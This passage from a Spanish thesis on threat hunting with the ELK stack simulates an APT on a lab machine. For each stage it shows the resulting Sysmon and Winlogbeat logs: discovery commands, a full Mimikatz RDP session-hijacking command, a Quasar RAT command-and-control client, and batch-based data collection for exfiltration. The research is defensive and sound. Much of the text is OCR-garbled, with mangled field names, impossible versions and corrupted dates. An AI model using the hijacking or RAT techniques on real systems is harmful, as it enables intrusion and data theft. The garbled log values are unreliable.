CivWndows \system32inetl, localgroup, Administradores

{baadatind-273c-TeaR-0000-081874643061
C:ANindows | Systend2inet] exe

netl. sxe

net, lacalgroup, Adminisiraderes
{bazd2604-273c-5220-000E-00 1899633087 |

CrvMindows |\ Systan32inat, axe

Figura 6.27: Ejecucién de net localgroup

5. Ejecucién de wmic qgfe list full.
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event,action Frocess Create (rule: ProcessCreate)

t

t event.category process

# event.code 1

B event. created Apr 22, 2820 @ 11:15:89.269

t event.kind event

t event.module sysmon

t event.provider Microsoft-Windows-Sysmon

t event.type process_start

t host.hostnane tfg-vaB6-francisco

t host.id baa4esp4-f22c-43d3-997e-co18fbe12f5d
t host.name tfg-vabé-francisco.infor .uva.es

t host.os . build 18363.778

t host.os.family windows

t host.os.kernel 18.0.18362.778 (WinBuild.168181.88808)
t host.os.name Windows 18 Pro

t host.os.platform windows

t host.os.version 18.9

t log.level informacion

t process.args wnic, gfe, list, full

t process.entity_id {baade6@d-273c-5ead-BOGE-BG10ea6530E81}
t Pprocess.executable C:\Windows\ System32 \wbem\WMIC . exe

t process.name WHIC.exe

Figura 6.28: Ejecucién de wmic gfe list full

6. Ejecuciéon de wmic share get.

¢ event,action Process Create (rule: ProcessCreate)
t event.category process

# event.code 1

B event.created Apr 22, 2828 @ 11:15:18.272

¢ event.kind avent

t event module Sysmon

t event.provider Hicrosoft-windows-Sysmon

t event.type process_start

t host.name tfg-vabb-francisco.infor.uva.es

t host.os.build 18362.778

t host.os. family windows

t host.os.kernel 19.8.18362.778 (WinBuild.168101.8608)
t host.os.name Windows 18 Pro

t host.os.platform windows

t host.os.version 18.8

t log.level informacisn

t process.args wnic, share, get

t process.entity_id {baades04-273d-5020-0000-0210837F3b21}
t process.executable C:uWindowsSystem32\whem\WNIC . exe

t process.name WHIC . exe

t process.parent.args C:yWindows\system3z\cad. exe

Figura 6.29: Ejecucién de wmic share get

7. Ejecucion de net user.



r event.acTion
¢ avent.category

event.code

[l avent.craated

i awent kind

¢ avent_moduls

t avent.provider

t event.type

1 hast  nane

t host.os.build

t host.os.family

i hast . as_kKernel

t host.os.name

t hast.os.platform
t hast.as.versian

t log.level

t Process.args

t process_entity_id
t process.executabls

t Process.nane

Process.parent.args

process.parent.entity_1d

t process.parent . executable

Process Create (rule: ProcessCreate)
process

1

Apr 24, 2078 @ 11:18:30.787

avent

Sy smon

Microsoft-Aindows-Sysmon

Process, sTart
tfg-vadb-francisce.infor.uva.es
18363.778

windows

19,8.18362. 776 (WinBuild. 1661876008}
Nindows 18 Pro

windows

9.8

informacisn

C:vwAzndows\system3Zinetl, user
{bazdetid-cile-Seal-DA00-001 BdaZel 2ol
C:\Aindows\Systend2inet] exe

natl.exs

nat, user
{bazdesnd-cole-5ea2-BRO0-0016052d3262)

C:\Mzndows |\ Systemd2inet.exs

Figura 6.30: Ejecucién de net user

8. Ejecucién de net group.

t event.action

-

event.category

event.code

-

event.created

i)

event. kind

-

event . module

-

1 I"JI‘I"..|III|'J!(|1'I
t event.type
t host.name

host.os.build

host.os. family

host.os.kernel

host . o5 .name

host.os.platform

host.os.version

log.lewel

process.args

centity_id

proc

process.executable

process.name

process.parent.args

process.parent.entity_id

process . parent  executable

Pracess Create (rule: Processbreate)
process

1

Apr 24, 2028 & 11:18:39.788

dvent

SYSman

Hicrozoft-Windows-Sysmon
process_start
tfg-vad6-francizco.infor . uva.es
18363 .778

windows

10.9.18362.778 (WinBuild.16@101.6800)
Wirdows 18 Pro

windows

16.8

informacicn
C:y\Windows ' systen32inet], group
{baadztld-ci2e-Seal-000-pe efc3132e2)
C:ywWindows |\ SysteniZinet] .exe

netl . exe

net, group
{baade6n4-co2e-5eal -00a0-B 809303202 }

C:yWindows ' Systend2\net . exe

Figura 6.31: Ejecucién de net group

9. Ejecucién de tasklist /v.
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degcripeion_id Process creation

t wersion 1.4.8
t event.action Process Create {rule: ProcessCreate)
P Event.cETegory process
# event.code 1
event, created Apr 24, 2820 @ 11:18:39.783
¢ event.kind event
¢t event.module sysman
t event.provider MicrosofT-Windows-Sysmon
t event. type process_start
t hast. name wfg-vage-francisce. infor .uva.es
t host.os.buald 18363.778
t host.os.family windows
t hast.os kernel 16.0.19362.778 (WinBuild. 168181 EE0E)
t host.os.name windows 18 Pro
t host.ps.platform windows
t hast.os.versian 8.8
r log.lewel informacidn
P process args tasklist, /v
topr s entity_id {basdesnd-coze- 5eal-BE0E-001871333262 )
P process.executables Cewmindows\Systend2itasklist exe
t process.name tasklist.oxe
I Process.parent.args Caywandows\systendZicmd.exe

Figura 6.32: Ejecucién de tasklist

10. Ejecucién de tree /v.

t event.action Process Create (rule: ProcessCreate)
t event.category process

# event.code 1

i event.created Apr 24, 2828 @ 11:1@:48.822

t event.kind event

t event.module SYSmON

t event.provider Microsoft-windows-Sysmon

1 event. type process_start

t host.name tfg-vag6-francisco.infor.uva.es

t host.os.build 18363.778

t host.os.family windows

t host.os.kernel 19.9.18362.778 (WinBuild.168181.0808)
t host.os.name Windows 18 Pro

t host.os.platform windows

t host.os.version 18.8

¢ log.level informacion

t process.args tree, Jv

t process.entity_id {baade6dd-c927-5ea2-0008-6010c0503202 )
t process.executable C:\Windows\System32\tree.com

t process.name tree.com

t process.parent.args C:\Windows ' system32\cmd. exe

t process.parent.entity_id {bazdeind-zecb-5e52-0000-0018f 35f981 |
t process,parent.executable Ci\Windows\System3z2\cmd. exe

Figura 6.33: Ejecucién de tree

11. Ejecucién de net accounts.
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t BVE actl Frocess Create (ruls: ProcessCrests)

P e atagory process
Apr 24, 2828 © 11:108:48.836

¢ event.kind SYENT

t event.nodul gysmon

t event.provide Microsoft-windows-Sysmon

P avent.ty process_start

t ! N tfg-vabb-francisco.infor.uva.es

[ . Family WANGOWS

[ .05 Kerne 10.9,18362.778 (WinBuild. 168107 . 6808)
e ! NN Wandows 18 Pro

e | .o5.platform windows

¢l 0%y 1 8.8

t leve informacien

t prog T Ci\Windows \system32ynet], accounts

t process ity _id {baadetnd- gt 2al-Dean-edieczeizzed
B prod B t i CiWindows \System32vnet] .exe

t Process.na neti.exe

t Process. parent arc net, accounts

t prot 1 t.entity_id {baadetnd-cOif-Geal-00a0-0A1000603 202 }
t PrOCEsS.parent.exe L CivWindows \System3linet exe

Figura 6.34: Ejecucién de net accounts

Las técnicas de MITRE ATT&CK que se han cubierto al realizar este apartado son:

Descubrimiento
Nombre de la técnica ID de la técnica
Account Discovery T1087
Process Discovery T1057

File and Directory Discovery | T1083
Password Policy Discovery T1201

Tabla 6.5: Técnicas empleadas para realizar el reconocimiento interno

6.4.5. Movimientos laterales

Aunque en el entorno en el que se desarrolla el experimento no tiene utilidad moverse lateralmente
ya que solo se monitoriza un sistema. Se debe realizar esta fase ya que pertenece al ciclo de vida de una
amenaza; para ello se utilizaran técnicas que involucren RDP, estas técnicas emplean las credenciales
recogidas en las otras etapas para conectarse a los servicios de RDP/RDS con credenciales conocidas. En
concreto, se utilizard la técnica de RDP session hijacking que consiste en secuestrar la sesién RDP de otro
usuario del sistema.

Para ello se empleara Mimikatz mediante el siguiente comando: .\mimikatz.exe "ts::sessions"
"privilege::debug" "token::elevate" "ts::remote /id:1".
En primer lugar, se debe conocer cual es el ID de la sesién del usuario que se quiere secuestrar, pa-

ra ello solo se empleard la primera parte del comando .\mimikatz.exe "ts::sessions" cuyo resultado es:
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Figura 6.35: Ejemplo de las sesiones disponibles

Como se puede ver el objetivo de esta fase es secuestrar la sesién del usuario tfgfr.

Los eventos recogidos son los siguientes:

1. Primero, se mostrara el usuario que se utilizara para secuestrar la sesién mediante el comando

Whoami.

w64 »whoami

Figura 6.36: Whoami desde el usuario atacante

2. Se detecta la llamada a Mimikatz desde cmd con el comando mediante el evento o el 4688.

t log.level informacion
t \mimikatz.exe, ts::sessions, privilege::debug, token::elevate, ts::remote /id:1

t entit {baade604-6447-5

6088-8818672aaa01}

t process.parent.entity_id {baade684-611a-5

t ] tat C:\Windows\System32\cmd,exe

Figura 6.37: Llamada a Mimikatz

3. Se detectan varios accesos a Lsass.exe mediante el evento 10, aunque solo se muestra un ejemplo

debido a la gran cantidad de estos intentos de accesos.

Figura 6.38: Acceso a Lssas.exe desde Mimikatz
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4. Se detecta un intento de inicio de sesién mediante el evento 1 o 4688.

t event.type process_start
itecture X86_64
t t.na tfg-vaB6-francisco.infor.uva.es
host.os.bulld 18363.778

windows
t host.os.kernel 18.8.18362.778 (WinBuild.168181.8888)

Windows 18 Pro

windows
t host.os.versic 18.8
informacion
S.arg LogonUI.exe, /flags:@xB, /state@:@xa2156855, /statel:0x41codedd
ocess.entity_id {baade6084-644b-5eab-0000-001065edcaa }
t proce axecutable C:\Windows\System32\LogonUI .exe

LogonUI.exe

{ process.parent.args winlogon.exe
tp entity_i {baade604-1217-5¢a0-0000-0010a4d37600 }
t.executable C:\Windows\System32\winlogon.exe
ess.parent .name winlogon.exe

Figura 6.39: Inicio de sesiéon de un usuario

5. Finalmente se utilizara el comando Whoami para mostrar que se ha secuestrado la sesién del usuario,

este comando también se recogié.

t process.args whoami

t process.entity_id {baade6B4-6451-5eal-B000-08109556c281 }
tp 5. BX tabl C:\Windows\System32\whoami.exe

t process 1ame whoami . exa

t | .p t.: C:\Windows\system32\cmd. exe

t | . p t.entit i {baade684-61ce-5ead-00E0-0810a02ch501 }
¢ :.p t .executable C:\Windows\System32\cmd. exe

t . p t.nam cmd.exe

. ;.parent .pid 18,336

. 5. pi 1,856

to| ;.working_direct C:\Users\tfgfr

Figura 6.40: Informacién del comando

Figura 6.41: Whoami desde el usuario victima

Las técnicas de MITRE ATT&CK que se han cubierto al realizar este apartado son:

Movimiento lateral

Nombre de la técnica ID de la técnica
Remote Desktop Protocol T1076

Tabla 6.6: Técnicas empleadas para realizar los movimientos laterales
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6.4.6.

este objetivo, se utilizardn técnicas de mando y control que permitan la conexién remota. En esta etapa

del ciclo se empleard el cliente Quasar ya mencionado en etapas anteriores y se buscaran muestras de

El objetivo de esta fase es la asegurar la comunicacién y el control de sistema de forma remota. Para

Mantener presencia

comunicacion con el servidor situado en otra maquina.

70

1. Se detecta la ejecucién del proceso del cliente Quasar.

2. Se detecta

entity_id

process.
process. executable
process.name

process.parent.args
process.parent.entity_id

process.parent .executable

conexiones con el servidor desde los eventos de Winlogbeat y Packetbeat

event.action

ever e
event eated
event  kind
event .module
event.p e
w0st.name
wst.0s. b |
w0st.o0s, family
Wwst.05. kernel
w0st.0s. name
host.os.platform
OST.0S.Verslor

network.community_id
network.direction

network.tran

network. type

Figura 6.43: Deteccion de actividad con el servidor-Winlogbeat

Windows 18 Pro

windows

18.0

informacidon
G:\Users\francisco\AppData\Roaming\SubDir\Client.exe
{baadet@4-65c4-5ea1-0006-0010dc86bEE3 }
C:\Wsers\francisco\AppData\Roaming\SubDir\Client exe
Client.exe

C:\sersifrancisco\Downloads\Client.exe
{baadesBd-65bF-5ea1-0060-801674e7afE3 }

C:\WUsers\francisco\Downloads\Client.exe

Figura 6.42: Ejecucién del cliente

Network conmection detected (rule: NetworkConnect)
3

Apr 23, 2820 @ 09:54:33.182

event

sysmon

Microsoft-Windows-Sysmon
tfg=-vad6-francisco.infor .uva.es

18363.778

windows

19.9.18362.778 (WinBuild.160101.8800)

Windows 18 Pro

windows

18.8

informacion

1:VA/dVTWCAHSNIZTL3tTyGRON-+HId=

outbound

tcp

ipv4

{baadenB4-65c4-5eal-BA00-0610dc86bE03 }
C:\Users\francisco\AppData‘Roaming'SubDir\Client.exe

Client.exe



t server.ip 18.124.5.18

server.port 4,782

t 10.124.5.17
54,860
t oK
t tags beat, beats_input_raw_event
t tls.cipher TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
t fc54e0d16d9764783542701462980300
t tls.client.supported_ciphers TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA, TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA, TLS_ECDHE_RSA_WITH

ES_128_CBC_SHA, TLS_RSA_WITH_3DES_EDE_CBC_SHA
false
23, renegotiation_info

s uncompressed

x25519, secp256r1, secp3s4ri
s NULL

a5

Quasar Server CA

Dec 31, 9999 & 23:59:59.800

Mar 31, 2020 @ 13:34:44. 000

RSA

4,896

1198832242014472347894509556706642003

SHAS12-RSA

Quasar Server CA

3

23, renegotiation_info

Figura 6.44: Deteccion de actividad con el servidor-Packetbeat

Las técnicas de MITRE ATT&CK que se han cubierto al realizar este apartado son:

Mando y control

Nombre de la técnica ID de la técnica
Remote Access Tools T1219

Tabla 6.7: Técnicas empleadas para realizar la etapa de mantener persistencia

6.4.7. Misién completa

La ultima etapa consiste en lograr los objetivos que el atacante se propuso. En este caso, se realizara
una exfiltracion de los datos por el canal de C2; para ello, se recogera la informaciéon que proporciona un
archivo Batch del APTSimulator y se mandara a la mdquina en la que se encuentra el servidor de Quasar.
Ya que previamente se han mostrado los eventos generados por el cliente Quasar en este apartado, se
prescindiran de las imdgenes que se asocian a la comunicacién entre el cliente y el servidor.

El archivo Batch es el siguiente:

ECHO WORKING DIRS AND FILES

ECHO Creating fypdcal attacker werking directory %APTDIRZ ...
ping -n 5 127.@.8.1 > NUL

MKDIR %APTDIR%
ECHO Drepping fyepical femperary. files into thaf directary.
ping -n 5 127.0.8.1 > NUL

"%ZIP%" e -bb@ -p%PASS% "%FILEARCH%" -aga. -0 %APTDIR%" workfiles\d.txt >
NUL

"%ZIP%" e -bb@ -p%PASS% "%FILEARCH%" -aga. -0 %APTDIR%"
workfiles\127.0.0.1.txt > NUL

Figura 6.45: Archivo Batch para la recoleccién
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Los eventos recogidos seran los siguientes:

1. El evento 1 de Sysmon o 4688 de Winlogbeat captura la creacién de proceso que realiza el primer

comando de recoleccién de informacién.

w_apt\APTSinulator \\helpers\7z.exe, e, -bbd, -paptsinulator, C:\Users\francisco\Downloads\APTSimulator_p_apt\APTSinulator\\enc-f1les. 72, -aca, -oC:\THP, workfiles\d.txt

Figura 6.46: Ejecucién primer comando de recoleccién

2. El evento 11 de Sysmon captura la creaciéon de archivo d.txt.

Figura 6.47: Creacién del archivo d.txt

3. El evento 1 de Sysmon o 4688 de Winlogbeat captura la creacién de proceso que realiza el segundo

comando de recoleccién de informacién.

Figura 6.48: Ejecucién segundo comando de recolecciéon

4. El evento 11 de Sysmon captura la creacion de archivo 127.0.0.1.txt.

¢ file.path CATHEV127.0.0.1. 00t

Figura 6.49: Creacién del archivo 127.0.0.1.txt

5. Se producira la exfiltacion de los datos mediante el canal de C2 creado entre cliente y servidor, este
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canal emplea los protocolos tcp y tlsvl. Las técnicas de MITRE ATT&CK que se han cubierto al

realizar este apartado son:

Coleccion
Nombre de la técnica ID de la técnica
Data from Local System T1005
Automated Collection T1119
Exfiltracion

Nombre de la técnica ID de la técnica
Exfiltration Over Command | T1041

and Control Channel

Tabla 6.8: Técnicas empleadas para realizar la etapa de completar misién

Durante el transcurso del experimento el investigador podria detectar indicios de una actividad inusual en
el entorno valiéndose de las herramientas de visualizacién que nos ofrece Kibana;por ejemplo, se puede
observar la grafica que informa, durante el experimento, el niimero de eventos por hora para buscar los

valores limites que muestren claramente mas actividad que la usual(figura |6.50)).

@timestamp per 3 hours

Figura 6.50: Grafica que muestra la cantidad de eventos por hora durante el transcurso del experimento

6.5. Resultados de la aplicaciéon de machine learning en el experimento

La aplicacion del machine learning no supervisado en el experimento ha permitido centrarse en aquellas
anomalias detectadas, reduciendo el nimero de logs que se deben revisar. Por ejemplo, mediante la creacién
de un trabajo que buscaba nombres de ejecutables extranos se ha detectado la apertura del Word y la
ejecucion de Mimikatz. Es cierto que hay algunos que no se han logrado detectar; por ejemplo, algunas
llamadas de los comandos del sistema. Sin embargo, se ha conseguido eliminar una gran cantidad de logs

que el analista deberia revisar para la deteccién de una amenaza.
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Figura 6.51: Ejemplo de la detecciéon de anomalias




Capitulo 7
Conclusiones y posibles mejoras

En este capitulo se llevara a cabo un resumen sobre las conclusiones obtenidas tras la realizacion del
proyecto. Ademads, se comentaran las posibles futuras ampliaciones que se pueden llevar a cabo para

mejorar el proyecto.

7.1. Conclusiones

Durante la realizacién de este trabajo de fin de grado se ha conseguido detectar amenazas persistentes,
aplicando técnicas de threat hunting mediante la implementacion de la pila ELK en un entorno donde
se ha desarrollado el experimento. A continuacién se resume brevemente en varios puntos los objetivos

conseguidos en el trabajo desarrollado:
= Se han aprendido nuevas técnicas y el procedimiento conocido como threat hunting.
= Se han afianzado algunos conocimientos vistos durante la carrera.
= Se ha estudiado el sistema de logs del sistema operativo Windows.
= Se ha instalado y configurado la pila para su aplicacién al threat hunting.
= Se ha explorado las diversas posibilidades que ofrece la pila y se han utilizado.
= Se han utilizado diversos plugins que amplian su funcionalidad.
= Se han comprendido los fundamentos de las amenazas persistentes avanzadas.

= Se ha disenado un experimento que consistia en simular una amenaza persistente avanzada en un

entorno que contenga la pila ELK.
= Se ha demostrado que la pila puede detectar indicios de las amenazas persistentes avanzadas.
= Se ha investigado las distintas posibilidades que existen de machine learning en la pila.
= Se ha aplicado machine learning con la pila ELK para la deteccién de amenazas con éxito.
= Se ha demostrado que la pila se puede adaptar a la metodologias de ataque.

Existen otras alternativas a la pila ELK para realizar threat hunting; sin embargo, este enfoque ha
demostrado tener una gran escalabilidad debido a las tecnologias que se utilizan. Ademads, ha demostrado
su simplicidad ya que la mayoria de tecnologias empleadas se pueden configurar facilmente para que
operen juntas. También ha demostrado que existe una inmensa cantidad de opciones que se pueden seguir

explorando mediante la utilizaciéon de diferentes plugins y diferentes aplicaciones ofrecidas por Elastic.
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En definitiva, se puede concluir que la pila ELK permite a las organizaciones mejorar sus metodologias

de detecciéon de amenazas de manera gratuita y con una gran profundidad para expandir sus métodos

usando los datos recogidos de manera analitica para detectar anomalias en el entorno.

7.2.

Posibles mejoras

Existen varias posibilidades de ampliacién de funcionalidades del trabajo realizado en este TFG.

A continuacidn, se destaca las que se consideran mas importantes:
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Un entorno més propio de una empresa, segun la propia definicién de APT suelen estar organizadas
con objetivos concretos, normalmente empresas, esto suele significar que se dispone de una red més
compleja que la que se monitoriza en este trabajo. Estas redes suelen incluir un controlador de
dominio y un directorio activo; en este trabajo solo se monitorizaba una maquina, lo que limitaba
mucho la etapa de moverse de lateralmente, que es una etapa critica en las amenazas.

Una gran ampliacién del nimero de maquinas monitorizadas asi como un controlador de dominio
y un directorio activo monitorizados darian opcién a emplear muchas mas técnicas de MITRE
ATT&CK, los eventos que se monitorizan en el sistema y explorar la opcién de utilizar Windows
Event Forwarding(WEF).

Un blue team y red team; la propia definicién de threat hunting nos dice que es un enfoque proactivo
dénde el analista diferencia entre normalidad y inusual. Sin embargo, en este trabajo el equipo
atacante es el mismo que el defensor por lo que, si se conoce las técnicas que se utilizan y cuando
se utilizaran, se elimina la incertidumbre de revisar constantemente los logs recibidos en busca
de amenazas. Si se empleasen dos equipos, uno de ataque y otro de defensa, se podrian conseguir
ataques mas elaborados donde el equipo atacante aprendiese méas y un equipo defensor que, ante
el desconocimiento de las técnicas y de cuando sufriria un ataque, aprendiesen de forma practica.

threat hunting.

Profundizar méas en herramientas que se han utilizado de forma mas superficial y que pueden ser
utiles, sobre todo cuando se encuentren en una versiéon mas estable; por ejemplo, las funcionalidades
del SIEM. Una funcionalidad que en la que se debe profundizar més son las detections: esta
funcionalidad puede ayudar significativamente a un investigador ya que se pueden crear reglas que
detecten las técnicas de MITRE ATT&CK.

Otra funcionalidad es la de alerting que permite enviar alertas en funcién de los valores obtenidos

en las anomalias.

Profundizar més en los plugins que ofrece Elastic e incluso desarrollar uno; aunque se han utilizado
algunos, existe una gran variedad que se pueden explorar y profundizar mas, aunque también se

podria desarrollar uno que el analista necesitase.

Utilizar los logs que generemos, utilizar logs que sean de interés para analista pero que no pertenezcan

a Beats y tener que parsearlos para que coincidiesen con los criterios explicados en el ECS.
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Anexo I

Monitorizacion

I.1. Directivas de auditoria local de Windows

Las directivas de auditoria de Windows no estan activadas por defecto; para realizar la recoleccion
de los eventos que se monitorizan, se activaran aquellas directivas a las que pertenecen. Es importante
destacar que algunos eventos generan una gran cantidad de trafico, por lo que hay que prestar especial
atencién al rendimiento de nuestro equipo.

Windows divide las directivas de auditoria en 9 grandes grupos, que a su vez se subdividen en 50
subcategorias. Se pueden configurar las directivas en el nivel de categoria o en el de subcategoria. Esta
ultima opcidn se realiza mediante la opcién de configuracién de directivas de auditoria avanzada, otorgando
la posibilidad de seleccionar solo aquellas subcategorias que sean de interes, evitando el ruido de las otras.
Por otra parte, hay que tener en cuenta el nivel en el que se configuran las directivas ya que puede darse
un conflicto; en caso de conflicto, prevalece el nivel de la configuracion de las directivas de auditoria a
nivel de categoria o de subcategoria, dependiendo de la versiéon de Windows. Para modificar las directivas

de seguridad, se debe escribir en el buscador gpedit.msc2 y posteriormente realizar la siguiente secuencia:

= En caso de activar las directivas a nivel de categoria:Configuracion del equipo - Configuracién

de Windows - Configuracién de seguridad - Directivas locales - Directiva de auditoria

= En caso de activar las directivas a nivel de subcategoria:Configuracién del equipo - Confi-
guracién de Windows - Configuracion de seguridad - Directivas locales - Configuracion de directivas

de auditoria avanzada
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'=[ Editor de directivas de grupo local
Archivo Ayuda

e HE X HE

Accign  Ver

=f Directiva Equipo local
w i Configuracian del equipo
| Configuracién de software
v || Configuracién de Windows
| Directiva de resolucian de nombres
|| Scripts {inicio o apagade)
= Impresoras implementadas
w i:_.l Cenfiguracion de sequridad
‘4 Directivas de cuenta
~ [ 4, Directivas locales
4 Directiva de auditoria
g Asignacién de derechos de usuaric
4 Opciones de seguridad

| Windows Defender Firewall con seguridad avanzad

| Directivas de Administrador de listas de redes
| Directivas de clave piblica

| Directivas de restriccion de software

| Directivas de control de aplicaciones
g Directivas de seguridad IP en Equipo local

| Configuracién de directiva de auditoria avanzada

ol QoS basada en directiva
| Plantillas administrativas
~ i®, Configuracién de usuario
| Configuracién de software
| Configuracién de Windows
| Plantillas administrativas

Directiva

|25 Auditar el acceso a objetos

12y Auditar el acceso al servicio de directorio

1) Auditar el cambio de directivas

|2 Auditar el sequimiento de procesos

12y Auditar el uso de privilegios

12| Auditar eventos de inicio de sesign

|24 Auditar eventos de inicio de sesion de cuenta
12 Auditar eventos del sistema

l2s) Auditar la administracidn de cuentas

Figura I.1: Directivas de auditoria locales

=l Editor de directivas de grupo local
Archivo Ayuda

e nHE = HE

Accién  Ver

Configuracion de seguri...

Sin auditona
Sin auditonia
Sin auditoria
Sin auditona
Sin auditonia
Sin auditoria
Sin auditona
Sin auditonia

Sin auditona

L= Directiva Equipo local
v i Configuracion del equipo
| Configuracién de software
~ [ | Cenfiguracién de Windows
| Directiva de resolucion de nombres
=] Scripts (inicio o apagado)
== |mpresoras implementadas
v h Configuracién de seguridad
4 Directivas de cuenta
‘4 Directivas locales
| Windows Defender Firewall con seguridad avanzad;
| Directivas de Administrador de listas de redes
| Directivas de clave publica
| Directivas de restriccian de software
| Directivas de control de aplicaciones
.g Directivas de seguridad IP en Equipe local
~ || Configuracién de directiva de auditoria avanzada
v &y Directivas de auditoria del sisterna - Objeto de ¢
. Inicio de sesién de cuentas
55 Administracién de cuentas
1 Seguimiento detallado
_EE] Acceso DS
2 Inicio y cierre de sesién
__;E] Acceso a objetos
53 Cambio en directivas
53 Uso de privilegios
_EE] Sistema
23 Auditoria de acceso a objetos global
ol QoS basada en directiva
| Plantillas adrministrativas
v 4, Configuracién de usuario
| Configuracién de software
| Configuracién de Windows
| Plantillas administrativas

Subcategoria Auditar eventos
55 Auditar validacién de credenciales

s Auditar servicio de autenticacién Kerberos

| Auditar operaciones de vales de servicio Kerberos
ot

iz Auditar otros eventos de inicio de sesion de cuentas  No configurada

Aciertos y errores
Mo configurada
Mo configurada

Figura 1.2: Directivas de auditoria avanzadas
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v subcategorias a las que pertenecen esos eventos:

Sistema

Subcategoria

ID del evento

Descripciéon

Configuracion

de la auditoria

Cambio de estado || 4608 Inicio de Windows
. Correcto y Error
de seguridad
Cambio de estado || 4609 Apagado de windows
de seguridad
Extensién del sis- || 4697 Instalacién de un servicio Correcto y Error
tema de seguridad
Otros eventos del || 5379 Se leyeron las credenciales del | Correcto y Error

sistema Gestor de credenciales
Inicio y cierre de sesion
Subcategoria ID del evento Descripcion Configuracion

de la auditoria

Inicio de sesién 4624 Inicio de sesién exitoso en una
cuenta de usuario
— - — - - Correcto y Error
Inicio de sesién 4625 Inicio de sesién fallido en una
cuenta de usuario
Inicio de sesién 4647 Cierre de una sesién
Inicio de sesion 4648 Intento de inicio de sesién con
credenciales explicitas
Otros eventos de || 4800 Se bloqued la maquina Correcto y Error
inicio y cierre de
sesion
Otros eventos de || 4801 Se reanudo la actividad en la | Correcto y Error
inicio y cierre de maquina
sesion
Inicio de sesién es- || 4964 Se asigné un grupo especial a | Correcto y Error

pecial un inicio de sesién
Acceso a objetos
Subcategoria ID del evento Descripcion Configuracion
de la auditoria
Registro 4656 Se ha solicitado la manipula-
ci6n de un objeto
: - Correcto y Error
Registro 4657 Se ha modificado el valor de
un registro
Registro 4658 Se ha cerrado la peticién de
manipulacién de un objeto
Registro 4663 Se produjo un intento de acce-
S0 a un objeto
Otros eventos de || 4698 Creacion de una tarea progra-

acceso a objetos

mada

Correcto y Error

En la siguiente tabla se muestran los eventos que se van a monitorizar y las correspondientes categorias
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Otros eventos de || 4699 Eliminacién de una tarea pro-
acceso a objetos gramada
Otros eventos de || 4700 Se activo una tarea programa-
acceso a objetos da
Conexion de plata- || 5154 La plataforma de filtrado de
) L . | Correcto y Error

forma de filtrado Windows permitié a una apli-

cacién o servicio escuchar en

un puerto
Conexion de plata- || 5158 La plataforma de filtrado de

forma de filtrado

Windows permitié un enlace

con un puerto local

Seguimiento detallado

Subcategoria

ID del evento

Descripcién

Configuracion

de la auditoria

Creacion de proce- || 4688 Se ha creado un nuevo proceso | Correcto y Error
S0s

Administracién de cuentas
Subcategoria ID del evento Descripcién Configuracion

de la auditoria

Administracién de || 4720 Creacién de una cuenta de

cuentas de usuario usuario

Administracién de || 4722 Activacién de una cuenta de

cuentas de usuario usuario

Administracién de || 4723 Intento de cambio de contra-

cuentas de usuario sena de una cuenta de usuario

Administracion de || 4724 Intento de restablecer la con-

cuentas de usuario trasena de una cuenta de usua-
rio

Administracién de || 4725 Se desactivé una cuenta de

cuentas de usuario usuario

Administracién de || 4726 Se elimind una cuenta de usua-

cuentas de usuario rio

Administracién de || 4738 Se han producido cambios en

cuentas de usuario una cuenta de usuario

Administracion de || 4781 El nombre de una cuenta de

cuentas de usuario

usuario ha cambiado

Correcto y Error

I.1.1.

Estos eventos informan de forma detalla de los eventos y errores generados por el sistema y las

Tabla I.1: Eventos del sistema que se monitorizan

Windows Event Logging

aplicaciones. Para poder verlos se debe utilizar al visor de eventos.

84




I.2.

Sistema

ID del evento

Descripcién

7034 El servicio dejo de funcionar
7036 El servicio se detuvo
7045 Instalaciéon de un servicio

Aplicacién

ID del evento Descripcién
11707 Instalacién de una aplicacion
11724 Desinstalaciéon de una aplica-

cion

Planificador de tareas

ID del evento Descripcién

106 Creacién de una nueva tarea

129 Creacion de un proceso de una
tarea

141 Borrado de una tarea

Tabla I.2: Windows Event Logging

Sysmon

Sysmon dispone de 24 eventos, de los cuales se monitorizardn 8; esto es debido a la gran cantidad de

ruido que pueden generar algunos de los eventos de Sysmon.

ID del evento Nombre Descripcién
1 Creacién de un proceso Provee de una mayor cantidad de informacién sobre la creacién de un nuevo proceso
2 Un proceso a cambiado la fecha de creacién de un archivo Se monitoriza el cambio de una fecha de creacién de un archivo por un proceso
3 Conexiones de red Informacién sobre las conexiones TCP/UDP en la méquina
5 Un proceso ha terminado Informe sobre la finalizacién de un proceso
10 Proceso de acceso Informacién que se produce cuando un proceso accede a otro proceso
11 Creacién de un archivo Informacién sobre las operaciones necesarias cuando se necesita crear un archivo
12 Evento de registro(Creacién y borrado de objetos) Informacién sobre las operaciones de creacién y borrado de registros
13 Evento de registro(Renombre y cambiar valor) Informacién sobre las operaciones para cambiar el valor y renombrar un registro

I.3.

Tabla 1.3: Eventos de Sysmon

Se monitorizaran los siguientes protocolos mediante Packetbeat:

Protocolo Puertos
DNS 53
HTTP 80, 8080, 8000, 5000 y 8002
SMTP 25 y 587
POP3 110
QMTP 209
RDP 3389
SMTP/TLS 465
Quasar 4782
HTTPS 443
IMAPS 993
POP3S 995

Tabla I.4: Packetbeat

Monitorizacion de las conexiones de red mediante Packetbeat

85




86



Anexo I1

Configuracion

I1.1. Configuracién de Logstash

Se muestra el archivo empleado para la configuracién de Logstash, que realiza las siguientes funciones:

Se escucha a las conexiones al puerto 5044.
= Se crea un mensaje que resume el evento y se anade como un nuevo campo.
= Se aniade un campo que explica que medio se emplea para iniciar sesién.

= Se anade informacién extra sobre la IP en caso de ser un evento relacionado con las conexiones de

red.

= Se eliminan los campos de mensaje y hash que pueden generar demasiado ruido y no se utilizan en
este TFG.

= Se mandan los datos a Elasticsearch.

input {
beats{
port => "5044"
tags =>"beat"

}
filter {

translate {
field => "[winlog][event_id]"
destination => "[descripcion_id]”
dictionary =>{
1 => "Process creation”
2 => " A process changed a file creation time"
"3" => "Network connection”
5" => "Process terminated”
"10" => "ProcessAccess”
"11" => "File Create "
"12" => "RegistryEvent(creation—delete)”
"13" => "RegistryEvent(modification)”
"106" => " Creacin de una nueva tarea”
"129" => " Ejecucin de una tarea”
"141" => "Borrado de una tarea”
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"4608"=> "Windows is starting up.”

"4609" => "Windows is shutting down."”

"4624" => " An account was successfully logged on.”
"4625"=> " An account failed to log on.”

"4647" => "User initiated logoff”

"4648"=> "A logon was attempted using explicit credentials .
"4656"=> " A handle to an object was requested”

"4657"=> " A registry value was modified”

"4658"=> "The handle to an object was closed”

"4663"=> " An attempt was made to access an object”
"4688" => "Process creation”

"4697" => " A service was installed in the system.”

